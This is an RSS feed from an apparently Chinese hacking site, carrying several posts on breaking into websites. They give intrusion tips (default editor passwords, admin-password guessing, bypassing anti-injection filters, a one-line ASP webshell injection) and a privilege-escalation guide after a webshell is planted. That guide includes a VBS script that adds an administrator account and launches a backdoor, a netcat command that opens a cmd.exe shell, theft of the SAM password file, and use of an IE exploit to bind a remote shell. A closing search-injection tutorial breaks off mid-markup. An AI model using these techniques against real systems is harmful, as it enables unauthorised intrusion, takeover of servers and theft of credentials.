<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>怖客官方网站-计算机网络安全-windows网络编程-socket编程|电脑技术培训-黑客技术</title><link>http://www.bkhack.com/</link><description>怖客-致力于对网络技术的研究！</description><generator>RainbowSoft Studio Z-Blog 1.8 Walle Build 100427</generator><language>zh-CN</language><copyright>. </copyright><pubDate>Wed, 22 Feb 2012 09:44:02 +0800</pubDate><item><title>入侵技巧10则</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/web/193.html</link><pubDate>Tue, 21 Feb 2012 22:42:34 +0800</pubDate><guid>http://www.bkhack.com/web/193.html</guid><description><![CDATA[<p>1. 判断服务器所使用的系统 <br />例如我们的目标网址为&ldquo;http://www.bkhack.com/&rdquo;那么我们把地址改为<a href="http://www.xxx.cn/forum/index.PHP">http://www.xxx.cn/forum/index.PHP</a>后再浏览看看是否存在页面，如果存在的话，则服务器所使用的系统为windows,如果显示不存在，则服务器很有可能使用的是*nix系统。</p><p>2. Ewebeditor拿站的新技巧 <br />Ewebeditor大家应该是再熟悉不过的吧？先用默认密码admin888登陆，不行就下载默认数据库&lsquo;/db/ewebeditor.mdb&rdquo;，如果默认数据库也改了的话我们是不是就该放弃了呢？这里告诉大家我的经验！就是用密码admin999登陆，或者输入&ldquo;/db/ewebeditor1013.mdb&rdquo;就能下载到数据库了。这个方法有%80的几率能拿下目标！</p><p>3. 社工的小技巧 <br />在入侵的时候如果目标网站有论坛的话，我们可以试一下社工，例如一个网站是&ldquo;www.00day.cn&rdquo;, 管理员名称为admin,那么我们就可以试试用密码&ldquo;00day&rdquo;和&ldquo;00day.cn&rdquo;来登陆，这种方法最适合在入侵大型公司网站的时候使用！</p><p>4. 入侵时的思维拓展 <br />有时候我们获得了目标网站的管理员密码，但是又找不到后台，这是可以试下用FTP登陆，例如，目标网站是&rdquo;www.00day.cn &ldquo; 得到的密码为&ldquo;bishi&rdquo;，我们就可以试下用&ldquo;00day&rdquo;&ldquo;00day.cn&rdquo;www.00day.cn作为FTP 用户名，用&ldquo;bishi&rdquo;：作为FTP密码来进行登陆，成功的几率可以很大的哦！</p><p>5. 入侵时获得管理员名称 <br />有时候在入侵类似于新闻发布网的网站时，注入得到了管理员密码，但是拿不到管理员的名称，网站上也没有论坛什么的，这时候该怎么办呢？我们可以随便打开一个新闻，然手仔细找找诸如&ldquo;提交者&rdquo;&ldquo;发布者&rdquo;之类的字眼，一般&ldquo;提交者&rdquo;就是管理员的名称了。</p><p>6. 寻找管理员后台 <br />有时候我们得到了管理员的账号和密码，但是却苦于找不到后台。这时候我们可以对着网站上的图片点右键，查看其属性。有时的确能找到后台的！</p><p>7 . 暴web绝对路径 <br />众所周知，在入侵asp.net的网站时，我们首先就是在aspx文件前加上一个&ldquo;~&rdquo;来尝试暴出web的绝对路径，但在入侵用ASP+IIS架设的网站时能不能用呢？答案是肯定的，但是有一定的技巧，假设目标网站的主页为 www.00dat.cn/index.asp， 我们可以尝试提交这样的网址www.00day.cn/fkbhvv.aspx ,其中fkbhvv.aspx 是不存在的！这个方法的成功率大约是%60. 家乐福的官方站就有这个漏洞。。</p><p>8. stm文件在入侵中的作用 <br />当网站不允许上传asp .. cer ..cdx . htr 等文件时，上传一个stm文件，代码为 &ldquo;&lt;!--#include file=&rdquo;conn.asp&rdquo;--&gt;&rdquo;(想查看什么文件就写什么文件名，这里我假设想查看的文件名为&rdquo;conn.asp&rdquo;),，然后直接打开这个stm文件的地址，再查看源代码，&ldquo;conn.asp&rdquo;这个文件的代码就一览无遗了！</p><p>9. 注入的技巧 <br />在找到一个网站可能存在注射漏洞的地址时（假设地址为www.00day.cn/news.asp?id=6）,我们通常会先提交一个单引号&ldquo;&rsquo;&rdquo;来测试是否存在注射漏洞，但目前网上的通用防注入程序还是很多，所以很有可能会返回&ldquo;XX通用防注入程序已阻止你试图进行的攻击！&rdquo;的注入此类消息框。这时我们除了可以尝试COOKIES注入之外，还可以把变量编码一下（如&rdquo;www.00day.cn/news.asp?id=6&rdquo;编程&rdquo; www.00day.cn/news.asp%69%64=6&rdquo;）来进行注射，不行的话可以转换一下大小写（如&ldquo;id&rdquo;变成&ldquo;ID&rdquo;），或者转换大小写后再编码来进行注射等，总之想一些办法来把变量弄怪点，很多通用防注入程序都存在这写被绕过的缺陷！</p><p>10. 防注入程序拿shell <br />当你用单引号&ldquo;&rsquo;&rdquo;来测试一个网站可能存在注入漏洞的地址时（假设网址为&ldquo;www.00day.cn/news.asp?id=6&rdquo;）弹出了&ldquo;你的操作已被记录！&rdquo;这类信息，而我们又没办法去绕过防注入系统的时候，可以试着提交http://www.00day.cn/sqlin.asp看看存不存在&ldquo;sqlin.asp&rdquo; ，如果存在的话，我们只要提交&rdquo; http:// www.00day.cn/news.asp?id=6&rsquo;&lt;%execute request(&ldquo;j&rdquo;)%&gt;&ldquo; ，然后再用一句话木马客户端来连接http://www.00day.cn/sqlin.asp文件就行了，因为目前很多通用防注入程序都是用&rdquo;sqlin.asp&ldquo;这个文件名来做非法记录的数据库，而且大多数都没防下载处理。</p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/web/193.html" target="_blank">继续阅读《入侵技巧10则》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/web.html">网站安全</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%AE%89%E5%85%A8">网站安全</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%85%A5%E4%BE%B5">网站入侵</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/web/193.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/web/192.html">webshell提权宝典</a> (2012-2-21 21:16:35)  </li><li><a href="http://www.bkhack.com/web/190.html">搜索型注入点的找寻和注入的方法</a> (2012-2-21 18:58:47)  </li><li><a href="http://www.bkhack.com/web/cookies-ZhuRuShiShiMe-ShiFouCunZaiDePanDuanFangFa-ZenMeLiYong.html">cookies 注入是什么，是否存在的判断方法，怎么利用？</a> (2012-1-3 12:35:23)  </li><li><a href="http://www.bkhack.com/web/WangZhanHeiLianJianCeHeQingChu.html">网站黑链检测和清除</a> (2011-12-30 20:25:24)  </li><li><a href="http://www.bkhack.com/web/RuQinFuDanDaXueWangZhan.html">入侵复旦大学网站</a> (2011-12-30 19:53:56)  </li></ul>]]></description><category>网站安全</category><comments>http://www.bkhack.com/web/193.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=193</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=193&amp;key=6715d8fe</trackback:ping></item><item><title>webshell提权宝典</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/web/192.html</link><pubDate>Tue, 21 Feb 2012 21:16:35 +0800</pubDate><guid>http://www.bkhack.com/web/192.html</guid><description><![CDATA[<p><a target="_blank" href="http://www.bkhack.com">网络安全</a>&nbsp; 说到花了九牛二虎的力气获得了一个<a target="_blank" href="http://www.bkhack.com">webshell</a>， <br />当然还想继续获得整个<a target="_blank" href="http://www.bkhack.com">服务器</a>的admin权限，正如不想得到admin的不是好<a target="_blank" href="http://www.bkhack.com">黑客</a>～ <br />嘻嘻～～好跟我来，看看有什么可以利用的来<a target="_blank" href="http://www.bkhack.com">提升权限</a> <br />**************************************************************************** <br />第一 <br />如果服务器上有装了pcanywhere服务端，管理员为了管理方便 <br />也给了我们方便，到系统盘的Documents and Settings/All Us <br />ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地 <br />破解就使用pcanywhere连接就ok了 <br />**************************************************************************** <br />第二 <br />有很多小黑问我这么把webshell的iis user权限提升 <br />一般服务器的管理都是本机设计完毕然后上传到空间里， <br />那么就会用到ftp，服务器使用最多的就是servu <br />那么我们就利用servu来提升权限 <br />通过servu提升权限需要servu安装目录可写～ <br />好开始把，首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载 <br />下来，然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖， <br />启动servu添加了一个用户，设置为系统管理员，目录C:\，具有可执行权限 <br />然后去servu安装目录里把ServUDaemon.ini更换服务器上的。 <br />用我新建的用户和密码连接～ <br />好的，还是连上了 <br />ftp <br />ftp&gt;open ip <br />Connected to ip. <br />220 Serv-U FTP Server v5.0.0.4 for WinSock ready... <br />User (ip:(none)): id //刚才添加的用户 <br />331 User name okay, please send complete E-mail address as password. <br />Password:password //密码 <br />230 User logged in, proceed. <br />ftp&gt; cd winnt //进入win2k的winnt目录 <br />250 Directory changed to /WINNT <br />ftp&gt;cd system32 //进入system32目录 <br />250 Directory changed to /WINNT/system32 <br />ftp&gt;quote site exec net.exe user rover rover1234 /add //利用系统的net.exe&nbsp;&nbsp; <br />文件加用户。 <br />如果提示没有权限，那我们就 <br />把后门（server.exe） 传他system32目录 <br />然后写一个VBs教本 <br />set wshshell=createobject (&quot;wscript.shell&quot;) <br />a=wshshell.run (&quot;cmd.exe /c net user user pass /add&quot;,0) <br />b=wshshell.run (&quot;cmd.exe /c net localgroup Administrators user /add&quot;,0) <br />b=wshshell.run (&quot;cmd.exe /c server.exe&quot;,0)&nbsp;&nbsp;</p><p>存为xx.vbe <br />这个教本的作用是建立user用户密码为pass <br />并且提升为管理员 <br />然后执行system32目录下的server.exe <br />把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 <br />目录 <br />这样管理员只要一登陆就会执行那个教本. <br />接下来就是等了.等他登陆. <br />**************************************************************************** <br />第三 <br />就是先检查有什么系统服务，或者随系统启动自动启动的程序和管理员经常使用的软件， 比如诺顿，VAdministrator，金山，瑞星,WinRAR甚至QQ之类的，是否可以写，如果可以就修改其程序， 绑定一个批处理或者VBS，然后还是等待<a target="_blank" href="http://www.bkhack.com">服务器</a>重启。 <br />**************************************************************************** <br />第四 <br />查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码，可能会有所 <br />收获等等。 <br />**************************************************************************** <br />第五 <br />使用Flashfxp也能提升权限，但是成功率就看你自己的运气了 <br />首先找到FlashFXP文件夹，打开(编辑)Sites. dat，这个文件这是什么东西密码和用户名， <br />而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中，替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦～～嘻嘻～ <br />唔？？不对啊，是来提升权限的啊，晕，接着来别半途而废。 <br />大家看看对方管理员的这站点管理器，有用户名和密码，密码是星号的。经过用xp星号密码 查看器查看，然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示， 然后最终把这个网站管理员的密码从这堆东西中找 <br />出来。那么下一步就可以链接这些新的服务器啦～～ <br />经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地 <br />还原对方管理员的各个站点的密码。 <br />**************************************************************************** <br />第六 <br />WIN2K+IIS5.0默认情况下应用程序保护选项是&quot;中（共用的）&quot;，这时IIS加载isapi是用的 <br />iwam_computername用户身份执行。 <br />但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、 <br />win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名，并且没有做目录限制， <br />以SYSTEM权限加载的isapi有： <br />1、 idq.dll <br />2、 httpext.dll <br />3、 httpodbc.dll <br />4、 ssinc.dll <br />5、 msw3prt.dll <br />6、 author.dll <br />7、 admin.dll <br />8、 shtml.dll <br />9、 sspifilt.dll <br />10、compfilt.dll <br />11、pwsdata.dll <br />12、md5filt.dll <br />13、fpexedll.dll&nbsp;&nbsp; <br />所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug，比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题，就是&quot;/&quot;、&quot;\&quot;只识别了一个 &quot;/&quot;，所以如果请求里面使用&quot;\&quot;，就会错误的处理包含文件路径，有可能泄露东西或者出现权限 漏洞，这种漏洞很多别的地方（ php、asp等）也还存在。 <br />加载这些isapi不是单以文件名做依据了，而是加了路径，应该是修正了此问题。 <br />一般默认情况下是： <br />1、 idq.dll d:\winnt\system32\idq.dll <br />2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll <br />3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll <br />4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll <br />5、 msw3prt.dll d:\winnt\system32\msw3prt.dll <br />6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll <br />7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll <br />8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll <br />9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll <br />10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll <br />11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll <br />12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll <br />13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll&nbsp;&nbsp; <br />正常情况下这些路径都guest不能写,但如果配置不好，这些路径iis user能够写了就一样可以提升权限了 <br />可以把ISAPIHack.dll上传到IIS的可执行目录，文件名可叫ssinc.dll或者admin.dll等（上面列的13个文件名之一）。 <br />然后等待IIS重启加载此dll，就可以获得权限了 <br />**************************************************************************** <br />第七 <br />下载系统的 %windir%\repair\sam.*（WinNT 4下是sam._ 而Windows 2000下是sam）文件， <br />然后用L0pht等软件进行破解，只要能拿到，肯花时间，就一定可以破解。 <br />**************************************************************************** <br />第八 <br />PipeUpAdmin（Windows 2000下）, 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。 <br />**************************************************************************** <br />第九 <br />Serv-u Ftp Server 本地权限提升漏洞： <br />很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限，导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。 <br />具体命令： <br />建立用户: serv-u.exe &quot;cmd&quot; <br />&gt;USER xl <br />&gt;PASS 111111 <br />反弹shell: serv-u.exe &quot;nc.exe -l -p 99 -e cmd.exe&quot; <br />很不错的提权新方法 <br />今天我要带给大家的是，当我们得到WEBSHELL后如何得到SYSTEM权限的新方法， 提升权限这个已经是老生常谈了，网络上已经有很多种提升权限的方法了，在这里我就不在提了，今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。 <br />MS05020是一个IE漏洞，2005.4份的时候微软就发步了这个公告： <br />安全漏洞CN-VA05-025 <br />发布日期：2005-04-13 <br />漏洞类型：远程执行代码 <br />漏洞评估：高危 <br />受影响版本： <br />Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4 <br />Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2 <br />Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium) <br />Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium) <br />Microsoft Windows Server 2003 <br />Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件：&nbsp;&nbsp; <br />漏洞描述： <br />Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站，此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件，并接受安装此恶意分级审查文件，则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过，要利用此漏洞，需要进行大量用户交互。 <br />大家看到上面的漏洞描述了吗？当被人浏览的时候才会受到攻击，平时我们利用IE漏洞都是先把有攻击性的页面放到网上，然后等待别人去浏览，这样浏览者就会中招了。 <br />今天我们要提升权限，那自然是让我们要提升权限的主机去浏览存在漏洞的页面了，那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢？ <br />Ms05020的EXP网页代码已经出来了，大家可以到： <br /><a href="http://www.bkhack.com">www.bkhack.com</a> <br />去下载，假如我们已经把这个EXP放到<a href="http://www.xxxx.com/ms05020.html">http://www.xxxx.com/ms05020.html</a>的地方， <br />下面我们开始利用这个EXP，进入到我们的ASP木马，打开CMDSHELL，如果用不了的，大家自己想办法解决（可以自己上传一个CMD.EXE上去）。 <br />在命令行里输入：start <a href="http://www.xxxx.com/ms05020.html">www.xxxx.com/ms05020.html</a> 然后点执行。 <br />这个时候主机的IE就会去访问我们的这个MS05020.HTML，那么如果主机没有打扑钉的话，就会绑定一个28876的断口在主机上。 <br />接着我们输入：netstat -an | find &quot;28876&quot; 看看是否成功绑定，第一次的话，会慢一些，大家要等待一下，我这里很快就成功了。然后我们telnet上去马上就成功了 <br />大家看到了：（我添加了一个temp的管理员） <br />现在我们已经拿到SYSTEM权限了 ，大家还想干什么不可以？ <br />后记：其实大家还可以先上传NC，然后连接到本地后，再输入： <br />start <a href="http://www.xxx.com/ms05020.html">www.xxx.com/ms05020.html</a>也是可以的。 <br />还有就是如果可以的话还可以这样输入： <br />start &quot;C:\Program Files\Internet Explorer\iexplore.exe&quot; <a href="http://www.xxx.com/ms05020.htm">www.xxx.com/ms05020.htm</a> <br />这个要看你的情况了，一般虚拟主机如果允许访问的话，那还是用第一个命令好了！ <br />我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过！不过也有不成功的时候，而且不成功的概率很大，特别是到虚拟机的时候，有一次我没有成功，然后我开了3389进入，发现IE没有弹出来，而是出来了一个IE设置向导，也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的，艾，其实我现在也没有搞清楚是怎么会事有点能成功有点不行，想也想不通，因为start ist:http://www.xxx.com/xxx.exe总是能成功！ <br />把XXX。EXE下载到它的电脑上面！我最后认为估计这个还是和MS05020.HTM这个文件有关。艾，看来这个方法的利用价值也很小了，本来不想发出来了的，既然写出来了，还是发表出来一下吧！刚刚和无敌讨论了一下，他也是说不成功的原因估计也是这个，还有就是系统打了IE补丁。</p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/web/192.html" target="_blank">继续阅读《webshell提权宝典》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/web.html">网站安全</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%AE%89%E5%85%A8">网站安全</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%85%A5%E4%BE%B5">网站入侵</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/web/192.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/web/193.html">入侵技巧10则</a> (2012-2-21 22:42:34)  </li><li><a href="http://www.bkhack.com/web/190.html">搜索型注入点的找寻和注入的方法</a> (2012-2-21 18:58:47)  </li><li><a href="http://www.bkhack.com/web/cookies-ZhuRuShiShiMe-ShiFouCunZaiDePanDuanFangFa-ZenMeLiYong.html">cookies 注入是什么，是否存在的判断方法，怎么利用？</a> (2012-1-3 12:35:23)  </li><li><a href="http://www.bkhack.com/web/WangZhanHeiLianJianCeHeQingChu.html">网站黑链检测和清除</a> (2011-12-30 20:25:24)  </li><li><a href="http://www.bkhack.com/web/RuQinFuDanDaXueWangZhan.html">入侵复旦大学网站</a> (2011-12-30 19:53:56)  </li></ul>]]></description><category>网站安全</category><comments>http://www.bkhack.com/web/192.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=192</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=192&amp;key=8fe0da3f</trackback:ping></item><item><title>Wwwscan目录扫描工具 -经典收藏版 </title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/down/191.html</link><pubDate>Tue, 21 Feb 2012 19:04:16 +0800</pubDate><guid>http://www.bkhack.com/down/191.html</guid><description><![CDATA[<p>Wwwscan目录扫描工具 -经典收藏版</p><p>&nbsp;</p><div><p>开发于Xsec.org，非常不错的一个目录扫描软件，如果长期使用，可以根据你的经历加入一些特别目录到list文件中</p></div><p>&nbsp;</p><p><a href="http://www.bkhack.com/upload/2012/2/wwwscan.rar" target="_blank">wwwscan.rar</a></p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/down/191.html" target="_blank">继续阅读《Wwwscan目录扫描工具 -经典收藏版 》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/down.html">下载专区</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%85%A5%E4%BE%B5%E5%B7%A5%E5%85%B7">网站入侵工具</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/down/191.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.bkhack.com/down/191.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>下载专区</category><comments>http://www.bkhack.com/down/191.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=191</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=191&amp;key=d587c3a4</trackback:ping></item><item><title>搜索型注入点的找寻和注入的方法</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/web/190.html</link><pubDate>Tue, 21 Feb 2012 18:58:47 +0800</pubDate><guid>http://www.bkhack.com/web/190.html</guid><description><![CDATA[<p><a href="http://www.bkhack.com"><span><span style="font-family: 宋体"><p><span>搜索型注入点的找寻和注入方法</span></p><p>&nbsp;</p><p><span>目前<span style="font-family: Verdana">,</span><span style="font-family: 宋体">一些网站为了方便用户查找网站的资源</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">都对用户提供了搜索的功能</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">因为是搜索功能</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">往往是程序员在编写代码时都忽略了对其变量</span><span style="font-family: Verdana">(</span><span style="font-family: 宋体">参数</span><span style="font-family: Verdana">)</span><span style="font-family: 宋体">的过滤</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">而且这样的漏洞在国内的系统中普遍的存在</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">常见的搜索功能代码如下</span><span style="font-family: Verdana">:</span></span><span><br /></span><span>..................</span><span><br /></span><span>keyword=trim(request.From(&quot;keyword&quot;)</span><span><br /></span><span>获取客户端提交在要查询的关键字<span style="font-family: Verdana">,</span><span style="font-family: 宋体">并过滤了两边的空格</span></span><span><br /></span><span>if&nbsp;keyword=&quot;&quot;&nbsp;then&nbsp;<span style="font-family: 宋体">如果关键字为空</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">则输出下面的</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">查询内容不能为空</span><span style="font-family: Verdana">!</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">&quot;</span></span><span><br /></span><span>response.Write&nbsp;&quot;alert(<span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: 宋体">查询内容不能为空</span><span style="font-family: Verdana">!</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">);history.back(-1);&quot;</span></span><span><br /></span><span>response.end</span><span><br /></span><span>end&nbsp;if</span><span><br /></span><span>set&nbsp;rs=server.CreateObject(&quot;ADODB.recordset&quot;)&nbsp;<span style="font-family: 宋体">创建对象</span></span><span><br /></span><span>sql=&quot;select&nbsp;*&nbsp;from&nbsp;b_class&nbsp;where&nbsp;b_name&nbsp;like&nbsp;<span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%&quot;&amp;keyword&quot;%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">order&nbsp;by&nbsp;id&nbsp;desc&quot;</span></span><span><br /></span><span>利用关键字进行模糊查询<span style="font-family: Verdana">,</span><span style="font-family: 宋体">将查询的结果按</span><span style="font-family: Verdana">id</span><span style="font-family: 宋体">字段的降序排列</span></span><span><br /></span><span>rs.open&nbsp;sqls.conn.3.1</span><span><br /></span><span>if&nbsp;rs.eof&nbsp;then</span><span><br /></span><span>...................</span><span><br /></span><span>%&gt;</span><span><br /></span><span>从上面的代码中<span style="font-family: Verdana">,</span><span style="font-family: 宋体">程序只对用户提交的搜索变量</span><span style="font-family: Verdana">(</span><span style="font-family: 宋体">参数</span><span style="font-family: Verdana">)</span><span style="font-family: 宋体">过滤了两边的空格</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">并没有过滤这个参数的其它东西</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">就带到了</span><span style="font-family: Verdana">SQL</span><span style="font-family: 宋体">语句内进行查询</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">从而导致了注入的&nbsp;漏洞产生</span><span style="font-family: Verdana">.</span><span style="font-family: 宋体">在大部分的系统中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">实现搜索功能的文件名为</span><span style="font-family: Verdana">&quot;search.asp&quot;,</span><span style="font-family: 宋体">如果大家要寻找系统源代码中有没有搜索型注入的漏洞</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">首先要看系统中有没&nbsp;有这个文件</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">一般情况下都有存在的</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">如果没有</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们还可以在搜索系统的首页</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">查找关键字</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">搜索</span><span style="font-family: Verdana">&quot;(</span><span style="font-family: 宋体">或</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">查询</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">等</span><span style="font-family: Verdana">),</span><span style="font-family: 宋体">也可以找到</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">找到关键字后</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">还要查看要&nbsp;实现搜索功能的这个表单是被那个文件链接</span><span style="font-family: Verdana">,(</span><span style="font-family: 宋体">大家都知道</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在</span><span style="font-family: Verdana">HTML</span><span style="font-family: 宋体">语言中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">表单在网页上的一个特定的区域中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">是由一对标志定义的标识的</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在标志中&nbsp;</span><span style="font-family: Verdana">ACTION</span><span style="font-family: 宋体">属性定义了表单数据提交的地址</span><span style="font-family: Verdana">),</span><span style="font-family: 宋体">所以我们还要看</span><span style="font-family: Verdana">ACTION</span><span style="font-family: 宋体">属性是链接那个文件</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">而这个文件就是实现搜索功能的文件</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们就可以使用</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">查看&nbsp;源文件</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">来看代码</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">并找出是否有注入的漏洞存在</span><span style="font-family: Verdana">.</span><span style="font-family: 宋体">不过</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们还是要来学习下</span><span style="font-family: Verdana">SQL</span><span style="font-family: 宋体">数据查询中</span><span style="font-family: Verdana">WHERE</span><span style="font-family: 宋体">子句使用</span><span style="font-family: Verdana">Like</span><span style="font-family: 宋体">操作符的知识</span><span style="font-family: Verdana">,Like</span><span style="font-family: 宋体">操作符所起&nbsp;的作用就是模糊查询</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">要使用</span><span style="font-family: Verdana">Like</span><span style="font-family: 宋体">进行模糊查询必须还要配合通配符才能完成</span><span style="font-family: Verdana">,&quot;%&quot;</span><span style="font-family: 宋体">就是</span><span style="font-family: Verdana">Like</span><span style="font-family: 宋体">操作符中的一种通配符</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">它代表零个或多个任意字符</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">为了&nbsp;大家理解</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">为大家举了一些例子</span><span style="font-family: Verdana">:</span></span><span><br 